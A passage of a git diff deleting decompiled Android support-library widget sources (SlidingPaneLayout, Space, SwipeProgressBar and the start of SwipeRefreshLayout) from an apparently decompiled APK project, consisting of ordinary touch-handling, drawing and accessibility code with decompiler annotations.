(abs > this.mDragHelper.getTouchSlop() && abs2 > abs) { - this.mDragHelper.cancel(); - this.mIsUnableToDrag = true; - return false; - } - } - z = false; - if (this.mDragHelper.shouldInterceptTouchEvent(motionEvent)) { - return true; - } - } - } - - @Override // android.view.View - public boolean onTouchEvent(MotionEvent motionEvent) { - if (!this.mCanSlide) { - return super.onTouchEvent(motionEvent); - } - this.mDragHelper.processTouchEvent(motionEvent); - int action = motionEvent.getAction() & 255; - if (action == 0) { - float x = motionEvent.getX(); - float y = motionEvent.getY(); - this.mInitialMotionX = x; - this.mInitialMotionY = y; - } else if (action == 1 && isDimmed(this.mSlideableView)) { - float x2 = motionEvent.getX(); - float y2 = motionEvent.getY(); - float f = x2 - this.mInitialMotionX; - float f2 = y2 - this.mInitialMotionY; - int touchSlop = this.mDragHelper.getTouchSlop(); - if ((f * f) + (f2 * f2) < touchSlop * touchSlop && this.mDragHelper.isViewUnder(this.mSlideableView, (int) x2, (int) y2)) { - closePane(this.mSlideableView, 0); - } - } - return true; - } - - private boolean closePane(View view, int i) { - if (this.mFirstLayout || smoothSlideTo(0.0f, i)) { - this.mPreservedOpenState = false; - return true; - } - return false; - } - - private boolean openPane(View view, int i) { - if (this.mFirstLayout || smoothSlideTo(1.0f, i)) { - this.mPreservedOpenState = true; - return true; - } - return false; - } - - @Deprecated - public void smoothSlideOpen() { - openPane(); - } - - public boolean openPane() { - return openPane(this.mSlideableView, 0); - } - - @Deprecated - public void smoothSlideClosed() { - closePane(); - } - - public boolean closePane() { - return closePane(this.mSlideableView, 0); - } - - public boolean isOpen() { - return !this.mCanSlide || this.mSlideOffset == 1.0f; - } - - @Deprecated - public boolean canSlide() { - return this.mCanSlide; - } - - public boolean isSlideable() { - return this.mCanSlide; - } - - void onPanelDragged(int i) { - if (this.mSlideableView == null) { - this.mSlideOffset = 0.0f; - return; - } - boolean isLayoutRtlSupport = isLayoutRtlSupport(); - LayoutParams layoutParams = (LayoutParams) this.mSlideableView.getLayoutParams(); - int width = this.mSlideableView.getWidth(); - if (isLayoutRtlSupport) { - i = (getWidth() - i) - width; - } - float paddingRight = (i - ((isLayoutRtlSupport ? getPaddingRight() : getPaddingLeft()) + (isLayoutRtlSupport ? layoutParams.rightMargin : layoutParams.leftMargin))) / this.mSlideRange; - this.mSlideOffset = paddingRight; - if (this.mParallaxBy != 0) { - parallaxOtherViews(paddingRight); - } - if (layoutParams.dimWhenOffset) { - dimChildView(this.mSlideableView, this.mSlideOffset, this.mSliderFadeColor); - } - dispatchOnPanelSlide(this.mSlideableView); - } - - private void dimChildView(View view, float f, int i) { - LayoutParams layoutParams = (LayoutParams) view.getLayoutParams(); - if (f > 0.0f && i != 0) { - int i2 = (((int) ((((-16777216) & i) >>> 24) * f)) << 24) | (i & ViewCompat.MEASURED_SIZE_MASK); - if (layoutParams.dimPaint == null) { - layoutParams.dimPaint = new Paint(); - } - layoutParams.dimPaint.setColorFilter(new PorterDuffColorFilter(i2, PorterDuff.Mode.SRC_OVER)); - if (ViewCompat.getLayerType(view) != 2) { - ViewCompat.setLayerType(view, 2, layoutParams.dimPaint); - } - invalidateChildRegion(view); - } else if (ViewCompat.getLayerType(view) != 0) { - if (layoutParams.dimPaint != null) { - layoutParams.dimPaint.setColorFilter(null); - } - DisableLayerRunnable disableLayerRunnable = new DisableLayerRunnable(view); - this.mPostedRunnables.add(disableLayerRunnable); - ViewCompat.postOnAnimation(this, disableLayerRunnable); - } - } - - @Override // android.view.ViewGroup - protected boolean drawChild(Canvas canvas, View view, long j) { - LayoutParams layoutParams = (LayoutParams) view.getLayoutParams(); - int save = canvas.save(2); - if (this.mCanSlide && !layoutParams.slideable && this.mSlideableView != null) { - canvas.getClipBounds(this.mTmpRect); - if (isLayoutRtlSupport()) { - Rect rect = this.mTmpRect; - rect.left = Math.max(rect.left, this.mSlideableView.getRight()); - } else { - Rect rect2 = this.mTmpRect; - rect2.right = Math.min(rect2.right, this.mSlideableView.getLeft()); - } - canvas.clipRect(this.mTmpRect); - } - boolean drawChild = super.drawChild(canvas, view, j); - canvas.restoreToCount(save); - return drawChild; - } - - void invalidateChildRegion(View view) { - IMPL.invalidateChildRegion(this, view); - } - - boolean smoothSlideTo(float f, int i) { - int paddingLeft; - if (this.mCanSlide) { - boolean isLayoutRtlSupport = isLayoutRtlSupport(); - LayoutParams layoutParams = (LayoutParams) this.mSlideableView.getLayoutParams(); - if (isLayoutRtlSupport) { - paddingLeft = (int) (getWidth() - (((getPaddingRight() + layoutParams.rightMargin) + (f * this.mSlideRange)) + this.mSlideableView.getWidth())); - } else { - paddingLeft = (int) (getPaddingLeft() + layoutParams.leftMargin + (f * this.mSlideRange)); - } - ViewDragHelper viewDragHelper = this.mDragHelper; - View view = this.mSlideableView; - if (viewDragHelper.smoothSlideViewTo(view, paddingLeft, view.getTop())) { - setAllChildrenVisible(); - ViewCompat.postInvalidateOnAnimation(this); - return true; - } - return false; - } - return false; - } - - @Override // android.view.View - public void computeScroll() { - if (this.mDragHelper.continueSettling(true)) { - if (!this.mCanSlide) { - this.mDragHelper.abort(); - } else { - ViewCompat.postInvalidateOnAnimation(this); - } - } - } - - @Deprecated - public void setShadowDrawable(Drawable drawable) { - setShadowDrawableLeft(drawable); - } - - public void setShadowDrawableLeft(Drawable drawable) { - this.mShadowDrawableLeft = drawable; - } - - public void setShadowDrawableRight(Drawable drawable) { - this.mShadowDrawableRight = drawable; - } - - @Deprecated - public void setShadowResource(int i) { - setShadowDrawable(getResources().getDrawable(i)); - } - - public void setShadowResourceLeft(int i) { - setShadowDrawableLeft(getResources().getDrawable(i)); - } - - public void setShadowResourceRight(int i) { - setShadowDrawableRight(getResources().getDrawable(i)); - } - - @Override // android.view.View - public void draw(Canvas canvas) { - Drawable drawable; - int i; - int i2; - super.draw(canvas); - if (isLayoutRtlSupport()) { - drawable = this.mShadowDrawableRight; - } else { - drawable = this.mShadowDrawableLeft; - } - View childAt = getChildCount() > 1 ? getChildAt(1) : null; - if (childAt == null || drawable == null) { - return; - } - int top = childAt.getTop(); - int bottom = childAt.getBottom(); - int intrinsicWidth = drawable.getIntrinsicWidth(); - if (isLayoutRtlSupport()) { - i2 = childAt.getRight(); - i = intrinsicWidth + i2; - } else { - int left = childAt.getLeft(); - int i3 = left - intrinsicWidth; - i = left; - i2 = i3; - } - drawable.setBounds(i2, top, i, bottom); - drawable.draw(canvas); - } - - /* JADX WARN: Removed duplicated region for block: B:12:0x0023 */ - /* - Code decompiled incorrectly, please refer to instructions dump. - To view partially-correct add '--show-bad-code' argument - */ - private void parallaxOtherViews(float r10) { - /* - r9 = this; - boolean r0 = r9.isLayoutRtlSupport() - android.view.View r1 = r9.mSlideableView - android.view.ViewGroup$LayoutParams r1 = r1.getLayoutParams() - android.support.v4.widget.SlidingPaneLayout$LayoutParams r1 = (android.support.v4.widget.SlidingPaneLayout.LayoutParams) r1 - boolean r2 = r1.dimWhenOffset - r3 = 0 - if (r2 == 0) goto L1c - if (r0 == 0) goto L16 - int r1 = r1.rightMargin - goto L18 - L16: - int r1 = r1.leftMargin - L18: - if (r1 > 0) goto L1c - r1 = 1 - goto L1d - L1c: - r1 = r3 - L1d: - int r2 = r9.getChildCount() - L21: - if (r3 >= r2) goto L57 - android.view.View r4 = r9.getChildAt(r3) - android.view.View r5 = r9.mSlideableView - if (r4 != r5) goto L2c - goto L54 - L2c: - float r5 = r9.mParallaxOffset - r6 = 1065353216(0x3f800000, float:1.0) - float r5 = r6 - r5 - int r7 = r9.mParallaxBy - float r8 = (float) r7 - float r5 = r5 * r8 - int r5 = (int) r5 - r9.mParallaxOffset = r10 - float r8 = r6 - r10 - float r7 = (float) r7 - float r8 = r8 * r7 - int r7 = (int) r8 - int r5 = r5 - r7 - if (r0 == 0) goto L42 - int r5 = -r5 - L42: - r4.offsetLeftAndRight(r5) - if (r1 == 0) goto L54 - float r5 = r9.mParallaxOffset - if (r0 == 0) goto L4d - float r5 = r5 - r6 - goto L4f - L4d: - float r5 = r6 - r5 - L4f: - int r6 = r9.mCoveredFadeColor - r9.dimChildView(r4, r5, r6) - L54: - int r3 = r3 + 1 - goto L21 - L57: - return - */ - throw new UnsupportedOperationException("Method not decompiled: android.support.v4.widget.SlidingPaneLayout.parallaxOtherViews(float):void"); - } - - protected boolean canScroll(View view, boolean z, int i, int i2, int i3) { - int i4; - if (view instanceof ViewGroup) { - ViewGroup viewGroup = (ViewGroup) view; - int scrollX = view.getScrollX(); - int scrollY = view.getScrollY(); - for (int childCount = viewGroup.getChildCount() - 1; childCount >= 0; childCount--) { - View childAt = viewGroup.getChildAt(childCount); - int i5 = i2 + scrollX; - if (i5 >= childAt.getLeft() && i5 < childAt.getRight() && (i4 = i3 + scrollY) >= childAt.getTop() && i4 < childAt.getBottom() && canScroll(childAt, true, i, i5 - childAt.getLeft(), i4 - childAt.getTop())) { - return true; - } - } - } - if (z) { - if (ViewCompat.canScrollHorizontally(view, isLayoutRtlSupport() ? i : -i)) { - return true; - } - } - return false; - } - - boolean isDimmed(View view) { - if (view == null) { - return false; - } - return this.mCanSlide && ((LayoutParams) view.getLayoutParams()).dimWhenOffset && this.mSlideOffset > 0.0f; - } - - @Override // android.view.ViewGroup - protected ViewGroup.LayoutParams generateDefaultLayoutParams() { - return new LayoutParams(); - } - - @Override // android.view.ViewGroup - protected ViewGroup.LayoutParams generateLayoutParams(ViewGroup.LayoutParams layoutParams) { - return layoutParams instanceof ViewGroup.MarginLayoutParams ? new LayoutParams((ViewGroup.MarginLayoutParams) layoutParams) : new LayoutParams(layoutParams); - } - - @Override // android.view.ViewGroup - protected boolean checkLayoutParams(ViewGroup.LayoutParams layoutParams) { - return (layoutParams instanceof LayoutParams) && super.checkLayoutParams(layoutParams); - } - - @Override // android.view.ViewGroup - public ViewGroup.LayoutParams generateLayoutParams(AttributeSet attributeSet) { - return new LayoutParams(getContext(), attributeSet); - } - - @Override // android.view.View - protected Parcelable onSaveInstanceState() { - SavedState savedState = new SavedState(super.onSaveInstanceState()); - savedState.isOpen = isSlideable() ? isOpen() : this.mPreservedOpenState; - return savedState; - } - - @Override // android.view.View - protected void onRestoreInstanceState(Parcelable parcelable) { - if (!(parcelable instanceof SavedState)) { - super.onRestoreInstanceState(parcelable); - return; - } - SavedState savedState = (SavedState) parcelable; - super.onRestoreInstanceState(savedState.getSuperState()); - if (savedState.isOpen) { - openPane(); - } else { - closePane(); - } - this.mPreservedOpenState = savedState.isOpen; - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private class DragHelperCallback extends ViewDragHelper.Callback { - DragHelperCallback() { - } - - @Override // android.support.v4.widget.ViewDragHelper.Callback - public boolean tryCaptureView(View view, int i) { - if (SlidingPaneLayout.this.mIsUnableToDrag) { - return false; - } - return ((LayoutParams) view.getLayoutParams()).slideable; - } - - @Override // android.support.v4.widget.ViewDragHelper.Callback - public void onViewDragStateChanged(int i) { - if (SlidingPaneLayout.this.mDragHelper.getViewDragState() == 0) { - if (SlidingPaneLayout.this.mSlideOffset == 0.0f) { - SlidingPaneLayout slidingPaneLayout = SlidingPaneLayout.this; - slidingPaneLayout.updateObscuredViewsVisibility(slidingPaneLayout.mSlideableView); - SlidingPaneLayout slidingPaneLayout2 = SlidingPaneLayout.this; - slidingPaneLayout2.dispatchOnPanelClosed(slidingPaneLayout2.mSlideableView); - SlidingPaneLayout.this.mPreservedOpenState = false; - return; - } - SlidingPaneLayout slidingPaneLayout3 = SlidingPaneLayout.this; - slidingPaneLayout3.dispatchOnPanelOpened(slidingPaneLayout3.mSlideableView); - SlidingPaneLayout.this.mPreservedOpenState = true; - } - } - - @Override // android.support.v4.widget.ViewDragHelper.Callback - public void onViewCaptured(View view, int i) { - SlidingPaneLayout.this.setAllChildrenVisible(); - } - - @Override // android.support.v4.widget.ViewDragHelper.Callback - public void onViewPositionChanged(View view, int i, int i2, int i3, int i4) { - SlidingPaneLayout.this.onPanelDragged(i); - SlidingPaneLayout.this.invalidate(); - } - - @Override // android.support.v4.widget.ViewDragHelper.Callback - public void onViewReleased(View view, float f, float f2) { - int paddingLeft; - LayoutParams layoutParams = (LayoutParams) view.getLayoutParams(); - if (SlidingPaneLayout.this.isLayoutRtlSupport()) { - int paddingRight = SlidingPaneLayout.this.getPaddingRight() + layoutParams.rightMargin; - if (f < 0.0f || (f == 0.0f && SlidingPaneLayout.this.mSlideOffset > 0.5f)) { - paddingRight += SlidingPaneLayout.this.mSlideRange; - } - paddingLeft = (SlidingPaneLayout.this.getWidth() - paddingRight) - SlidingPaneLayout.this.mSlideableView.getWidth(); - } else { - paddingLeft = layoutParams.leftMargin + SlidingPaneLayout.this.getPaddingLeft(); - int i = (f > 0.0f ? 1 : (f == 0.0f ? 0 : -1)); - if (i > 0 || (i == 0 && SlidingPaneLayout.this.mSlideOffset > 0.5f)) { - paddingLeft += SlidingPaneLayout.this.mSlideRange; - } - } - SlidingPaneLayout.this.mDragHelper.settleCapturedViewAt(paddingLeft, view.getTop()); - SlidingPaneLayout.this.invalidate(); - } - - @Override // android.support.v4.widget.ViewDragHelper.Callback - public int getViewHorizontalDragRange(View view) { - return SlidingPaneLayout.this.mSlideRange; - } - - @Override // android.support.v4.widget.ViewDragHelper.Callback - public int clampViewPositionHorizontal(View view, int i, int i2) { - LayoutParams layoutParams = (LayoutParams) SlidingPaneLayout.this.mSlideableView.getLayoutParams(); - if (SlidingPaneLayout.this.isLayoutRtlSupport()) { - int width = SlidingPaneLayout.this.getWidth() - ((SlidingPaneLayout.this.getPaddingRight() + layoutParams.rightMargin) + SlidingPaneLayout.this.mSlideableView.getWidth()); - return Math.max(Math.min(i, width), width - SlidingPaneLayout.this.mSlideRange); - } - int paddingLeft = SlidingPaneLayout.this.getPaddingLeft() + layoutParams.leftMargin; - return Math.min(Math.max(i, paddingLeft), SlidingPaneLayout.this.mSlideRange + paddingLeft); - } - - @Override // android.support.v4.widget.ViewDragHelper.Callback - public int clampViewPositionVertical(View view, int i, int i2) { - return view.getTop(); - } - - @Override // android.support.v4.widget.ViewDragHelper.Callback - public void onEdgeDragStarted(int i, int i2) { - SlidingPaneLayout.this.mDragHelper.captureChildView(SlidingPaneLayout.this.mSlideableView, i2); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class LayoutParams extends ViewGroup.MarginLayoutParams { - private static final int[] ATTRS = {16843137}; - Paint dimPaint; - boolean dimWhenOffset; - boolean slideable; - public float weight; - - public LayoutParams() { - super(-1, -1); - this.weight = 0.0f; - } - - public LayoutParams(int i, int i2) { - super(i, i2); - this.weight = 0.0f; - } - - public LayoutParams(ViewGroup.LayoutParams layoutParams) { - super(layoutParams); - this.weight = 0.0f; - } - - public LayoutParams(ViewGroup.MarginLayoutParams marginLayoutParams) { - super(marginLayoutParams); - this.weight = 0.0f; - } - - public LayoutParams(LayoutParams layoutParams) { - super((ViewGroup.MarginLayoutParams) layoutParams); - this.weight = 0.0f; - this.weight = layoutParams.weight; - } - - public LayoutParams(Context context, AttributeSet attributeSet) { - super(context, attributeSet); - this.weight = 0.0f; - TypedArray obtainStyledAttributes = context.obtainStyledAttributes(attributeSet, ATTRS); - this.weight = obtainStyledAttributes.getFloat(0, 0.0f); - obtainStyledAttributes.recycle(); - } - } - - /* JADX INFO: Access modifiers changed from: package-private */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class SavedState extends AbsSavedState { - public static final Parcelable.Creator CREATOR = ParcelableCompat.newCreator(new ParcelableCompatCreatorCallbacks() { // from class: android.support.v4.widget.SlidingPaneLayout.SavedState.1 - /* JADX WARN: Can't rename method to resolve collision */ - @Override // android.support.v4.os.ParcelableCompatCreatorCallbacks - public SavedState createFromParcel(Parcel parcel, ClassLoader classLoader) { - return new SavedState(parcel, classLoader); - } - - /* JADX WARN: Can't rename method to resolve collision */ - @Override // android.support.v4.os.ParcelableCompatCreatorCallbacks - public SavedState[] newArray(int i) { - return new SavedState[i]; - } - }); - boolean isOpen; - - SavedState(Parcelable parcelable) { - super(parcelable); - } - - SavedState(Parcel parcel, ClassLoader classLoader) { - super(parcel, classLoader); - this.isOpen = parcel.readInt() != 0; - } - - @Override // android.support.v4.view.AbsSavedState, android.os.Parcelable - public void writeToParcel(Parcel parcel, int i) { - super.writeToParcel(parcel, i); - parcel.writeInt(this.isOpen ? 1 : 0); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class SlidingPanelLayoutImplBase implements SlidingPanelLayoutImpl { - SlidingPanelLayoutImplBase() { - } - - @Override // android.support.v4.widget.SlidingPaneLayout.SlidingPanelLayoutImpl - public void invalidateChildRegion(SlidingPaneLayout slidingPaneLayout, View view) { - ViewCompat.postInvalidateOnAnimation(slidingPaneLayout, view.getLeft(), view.getTop(), view.getRight(), view.getBottom()); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class SlidingPanelLayoutImplJB extends SlidingPanelLayoutImplBase { - private Method mGetDisplayList; - private Field mRecreateDisplayList; - - SlidingPanelLayoutImplJB() { - try { - Class[] clsArr = null; - this.mGetDisplayList = View.class.getDeclaredMethod("getDisplayList", null); - } catch (NoSuchMethodException e) { - Log.e(SlidingPaneLayout.TAG, "Couldn't fetch getDisplayList method; dimming won't work right.", e); - } - try { - Field declaredField = View.class.getDeclaredField("mRecreateDisplayList"); - this.mRecreateDisplayList = declaredField; - declaredField.setAccessible(true); - } catch (NoSuchFieldException e2) { - Log.e(SlidingPaneLayout.TAG, "Couldn't fetch mRecreateDisplayList field; dimming will be slow.", e2); - } - } - - @Override // android.support.v4.widget.SlidingPaneLayout.SlidingPanelLayoutImplBase, android.support.v4.widget.SlidingPaneLayout.SlidingPanelLayoutImpl - public void invalidateChildRegion(SlidingPaneLayout slidingPaneLayout, View view) { - Field field; - if (this.mGetDisplayList != null && (field = this.mRecreateDisplayList) != null) { - try { - field.setBoolean(view, true); - Object[] objArr = null; - this.mGetDisplayList.invoke(view, null); - } catch (Exception e) { - Log.e(SlidingPaneLayout.TAG, "Error refreshing display list state", e); - } - super.invalidateChildRegion(slidingPaneLayout, view); - return; - } - view.invalidate(); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class SlidingPanelLayoutImplJBMR1 extends SlidingPanelLayoutImplBase { - SlidingPanelLayoutImplJBMR1() { - } - - @Override // android.support.v4.widget.SlidingPaneLayout.SlidingPanelLayoutImplBase, android.support.v4.widget.SlidingPaneLayout.SlidingPanelLayoutImpl - public void invalidateChildRegion(SlidingPaneLayout slidingPaneLayout, View view) { - ViewCompat.setLayerPaint(view, ((LayoutParams) view.getLayoutParams()).dimPaint); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - class AccessibilityDelegate extends AccessibilityDelegateCompat { - private final Rect mTmpRect = new Rect(); - - AccessibilityDelegate() { - } - - @Override // android.support.v4.view.AccessibilityDelegateCompat - public void onInitializeAccessibilityNodeInfo(View view, AccessibilityNodeInfoCompat accessibilityNodeInfoCompat) { - AccessibilityNodeInfoCompat obtain = AccessibilityNodeInfoCompat.obtain(accessibilityNodeInfoCompat); - super.onInitializeAccessibilityNodeInfo(view, obtain); - copyNodeInfoNoChildren(accessibilityNodeInfoCompat, obtain); - obtain.recycle(); - accessibilityNodeInfoCompat.setClassName(SlidingPaneLayout.class.getName()); - accessibilityNodeInfoCompat.setSource(view); - ViewParent parentForAccessibility = ViewCompat.getParentForAccessibility(view); - if (parentForAccessibility instanceof View) { - accessibilityNodeInfoCompat.setParent((View) parentForAccessibility); - } - int childCount = SlidingPaneLayout.this.getChildCount(); - for (int i = 0; i < childCount; i++) { - View childAt = SlidingPaneLayout.this.getChildAt(i); - if (!filter(childAt) && childAt.getVisibility() == 0) { - ViewCompat.setImportantForAccessibility(childAt, 1); - accessibilityNodeInfoCompat.addChild(childAt); - } - } - } - - @Override // android.support.v4.view.AccessibilityDelegateCompat - public void onInitializeAccessibilityEvent(View view, AccessibilityEvent accessibilityEvent) { - super.onInitializeAccessibilityEvent(view, accessibilityEvent); - accessibilityEvent.setClassName(SlidingPaneLayout.class.getName()); - } - - @Override // android.support.v4.view.AccessibilityDelegateCompat - public boolean onRequestSendAccessibilityEvent(ViewGroup viewGroup, View view, AccessibilityEvent accessibilityEvent) { - if (filter(view)) { - return false; - } - return super.onRequestSendAccessibilityEvent(viewGroup, view, accessibilityEvent); - } - - public boolean filter(View view) { - return SlidingPaneLayout.this.isDimmed(view); - } - - private void copyNodeInfoNoChildren(AccessibilityNodeInfoCompat accessibilityNodeInfoCompat, AccessibilityNodeInfoCompat accessibilityNodeInfoCompat2) { - Rect rect = this.mTmpRect; - accessibilityNodeInfoCompat2.getBoundsInParent(rect); - accessibilityNodeInfoCompat.setBoundsInParent(rect); - accessibilityNodeInfoCompat2.getBoundsInScreen(rect); - accessibilityNodeInfoCompat.setBoundsInScreen(rect); - accessibilityNodeInfoCompat.setVisibleToUser(accessibilityNodeInfoCompat2.isVisibleToUser()); - accessibilityNodeInfoCompat.setPackageName(accessibilityNodeInfoCompat2.getPackageName()); - accessibilityNodeInfoCompat.setClassName(accessibilityNodeInfoCompat2.getClassName()); - accessibilityNodeInfoCompat.setContentDescription(accessibilityNodeInfoCompat2.getContentDescription()); - accessibilityNodeInfoCompat.setEnabled(accessibilityNodeInfoCompat2.isEnabled()); - accessibilityNodeInfoCompat.setClickable(accessibilityNodeInfoCompat2.isClickable()); - accessibilityNodeInfoCompat.setFocusable(accessibilityNodeInfoCompat2.isFocusable()); - accessibilityNodeInfoCompat.setFocused(accessibilityNodeInfoCompat2.isFocused()); - accessibilityNodeInfoCompat.setAccessibilityFocused(accessibilityNodeInfoCompat2.isAccessibilityFocused()); - accessibilityNodeInfoCompat.setSelected(accessibilityNodeInfoCompat2.isSelected()); - accessibilityNodeInfoCompat.setLongClickable(accessibilityNodeInfoCompat2.isLongClickable()); - accessibilityNodeInfoCompat.addAction(accessibilityNodeInfoCompat2.getActions()); - accessibilityNodeInfoCompat.setMovementGranularities(accessibilityNodeInfoCompat2.getMovementGranularities()); - } - } - - /* JADX INFO: Access modifiers changed from: private */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public class DisableLayerRunnable implements Runnable { - final View mChildView; - - DisableLayerRunnable(View view) { - this.mChildView = view; - } - - @Override // java.lang.Runnable - public void run() { - if (this.mChildView.getParent() == SlidingPaneLayout.this) { - ViewCompat.setLayerType(this.mChildView, 0, null); - SlidingPaneLayout.this.invalidateChildRegion(this.mChildView); - } - SlidingPaneLayout.this.mPostedRunnables.remove(this); - } - } - - boolean isLayoutRtlSupport() { - return ViewCompat.getLayoutDirection(this) == 1; - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/widget/Space.java b/apk_3230/decompiled_source/sources/android/support/v4/widget/Space.java deleted file mode 100644 index f2d9314..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/widget/Space.java +++ /dev/null @@ -1,41 +0,0 @@ -package android.support.v4.widget; - -import android.content.Context; -import android.graphics.Canvas; -import android.util.AttributeSet; -import android.view.View; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class Space extends View { - @Override // android.view.View - public void draw(Canvas canvas) { - } - - public Space(Context context, AttributeSet attributeSet, int i) { - super(context, attributeSet, i); - if (getVisibility() == 0) { - setVisibility(4); - } - } - - public Space(Context context, AttributeSet attributeSet) { - this(context, attributeSet, 0); - } - - public Space(Context context) { - this(context, null); - } - - private static int getDefaultSize2(int i, int i2) { - int mode = View.MeasureSpec.getMode(i2); - int size = View.MeasureSpec.getSize(i2); - if (mode != Integer.MIN_VALUE) { - return mode != 1073741824 ? i : size; - } - return Math.min(i, size); - } - - @Override // android.view.View - protected void onMeasure(int i, int i2) { - setMeasuredDimension(getDefaultSize2(getSuggestedMinimumWidth(), i), getDefaultSize2(getSuggestedMinimumHeight(), i2)); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/widget/SwipeProgressBar.java b/apk_3230/decompiled_source/sources/android/support/v4/widget/SwipeProgressBar.java deleted file mode 100644 index 0a78577..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/widget/SwipeProgressBar.java +++ /dev/null @@ -1,167 +0,0 @@ -package android.support.v4.widget; - -import android.graphics.Canvas; -import android.graphics.Paint; -import android.graphics.Rect; -import android.graphics.RectF; -import android.support.v4.view.ViewCompat; -import android.support.v4.view.animation.FastOutSlowInInterpolator; -import android.view.View; -import android.view.animation.AnimationUtils; -import android.view.animation.Interpolator; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -final class SwipeProgressBar { - private static final int ANIMATION_DURATION_MS = 2000; - private static final int COLOR1 = -1291845632; - private static final int COLOR2 = Integer.MIN_VALUE; - private static final int COLOR3 = 1291845632; - private static final int COLOR4 = 436207616; - private static final int FINISH_ANIMATION_DURATION_MS = 1000; - private static final Interpolator INTERPOLATOR = new FastOutSlowInInterpolator(); - private long mFinishTime; - private View mParent; - private boolean mRunning; - private long mStartTime; - private float mTriggerPercentage; - private final Paint mPaint = new Paint(); - private final RectF mClipRect = new RectF(); - private Rect mBounds = new Rect(); - private int mColor1 = COLOR1; - private int mColor2 = Integer.MIN_VALUE; - private int mColor3 = COLOR3; - private int mColor4 = COLOR4; - - SwipeProgressBar(View view) { - this.mParent = view; - } - - void setColorScheme(int i, int i2, int i3, int i4) { - this.mColor1 = i; - this.mColor2 = i2; - this.mColor3 = i3; - this.mColor4 = i4; - } - - void setTriggerPercentage(float f) { - this.mTriggerPercentage = f; - this.mStartTime = 0L; - ViewCompat.postInvalidateOnAnimation(this.mParent, this.mBounds.left, this.mBounds.top, this.mBounds.right, this.mBounds.bottom); - } - - void start() { - if (this.mRunning) { - return; - } - this.mTriggerPercentage = 0.0f; - this.mStartTime = AnimationUtils.currentAnimationTimeMillis(); - this.mRunning = true; - this.mParent.postInvalidate(); - } - - void stop() { - if (this.mRunning) { - this.mTriggerPercentage = 0.0f; - this.mFinishTime = AnimationUtils.currentAnimationTimeMillis(); - this.mRunning = false; - this.mParent.postInvalidate(); - } - } - - boolean isRunning() { - return this.mRunning || this.mFinishTime > 0; - } - - void draw(Canvas canvas) { - boolean z; - int width = this.mBounds.width(); - int height = this.mBounds.height(); - int i = width / 2; - int i2 = height / 2; - int save = canvas.save(); - canvas.clipRect(this.mBounds); - if (this.mRunning || this.mFinishTime > 0) { - long currentAnimationTimeMillis = AnimationUtils.currentAnimationTimeMillis(); - long j = this.mStartTime; - long j2 = (currentAnimationTimeMillis - j) / 2000; - float f = ((float) ((currentAnimationTimeMillis - j) % 2000)) / 20.0f; - if (this.mRunning) { - z = false; - } else { - long j3 = this.mFinishTime; - if (currentAnimationTimeMillis - j3 >= 1000) { - this.mFinishTime = 0L; - return; - } - float f2 = i; - float interpolation = INTERPOLATOR.getInterpolation((((float) ((currentAnimationTimeMillis - j3) % 1000)) / 10.0f) / 100.0f) * f2; - this.mClipRect.set(f2 - interpolation, 0.0f, f2 + interpolation, height); - canvas.saveLayerAlpha(this.mClipRect, 0, 0); - z = true; - } - if (j2 == 0) { - canvas.drawColor(this.mColor1); - } else if (f >= 0.0f && f < 25.0f) { - canvas.drawColor(this.mColor4); - } else if (f >= 25.0f && f < 50.0f) { - canvas.drawColor(this.mColor1); - } else if (f >= 50.0f && f < 75.0f) { - canvas.drawColor(this.mColor2); - } else { - canvas.drawColor(this.mColor3); - } - int i3 = (f > 0.0f ? 1 : (f == 0.0f ? 0 : -1)); - if (i3 >= 0 && f <= 25.0f) { - drawCircle(canvas, i, i2, this.mColor1, ((f + 25.0f) * 2.0f) / 100.0f); - } - if (i3 >= 0 && f <= 50.0f) { - drawCircle(canvas, i, i2, this.mColor2, (f * 2.0f) / 100.0f); - } - if (f >= 25.0f && f <= 75.0f) { - drawCircle(canvas, i, i2, this.mColor3, ((f - 25.0f) * 2.0f) / 100.0f); - } - if (f >= 50.0f && f <= 100.0f) { - drawCircle(canvas, i, i2, this.mColor4, ((f - 50.0f) * 2.0f) / 100.0f); - } - if (f >= 75.0f && f <= 100.0f) { - drawCircle(canvas, i, i2, this.mColor1, ((f - 75.0f) * 2.0f) / 100.0f); - } - if (this.mTriggerPercentage > 0.0f && z) { - canvas.restoreToCount(save); - int save2 = canvas.save(); - canvas.clipRect(this.mBounds); - drawTrigger(canvas, i, i2); - save = save2; - } - ViewCompat.postInvalidateOnAnimation(this.mParent, this.mBounds.left, this.mBounds.top, this.mBounds.right, this.mBounds.bottom); - } else { - float f3 = this.mTriggerPercentage; - if (f3 > 0.0f && f3 <= 1.0d) { - drawTrigger(canvas, i, i2); - } - } - canvas.restoreToCount(save); - } - - private void drawTrigger(Canvas canvas, int i, int i2) { - this.mPaint.setColor(this.mColor1); - float f = i; - canvas.drawCircle(f, i2, this.mTriggerPercentage * f, this.mPaint); - } - - private void drawCircle(Canvas canvas, float f, float f2, int i, float f3) { - this.mPaint.setColor(i); - canvas.save(); - canvas.translate(f, f2); - float interpolation = INTERPOLATOR.getInterpolation(f3); - canvas.scale(interpolation, interpolation); - canvas.drawCircle(0.0f, 0.0f, f, this.mPaint); - canvas.restore(); - } - - void setBounds(int i, int i2, int i3, int i4) { - this.mBounds.left = i; - this.mBounds.top = i2; - this.mBounds.right = i3; - this.mBounds.bottom = i4; - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/widget/SwipeRefreshLayout.java b/apk_3230/decompiled_source/sources/android/support/v4/widget/SwipeRefreshLayout.java deleted file mode 100644 index 1e38db4..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/widget/SwipeRefreshLayout.java +++ /dev/null @@ -1,844 +0,0 @@ -package android.support.v4.widget; - -import android.content.Context; -import android.content.res.Resources; -import android.content.res.TypedArray; -import android.support.v4.view.MotionEventCompat; -import 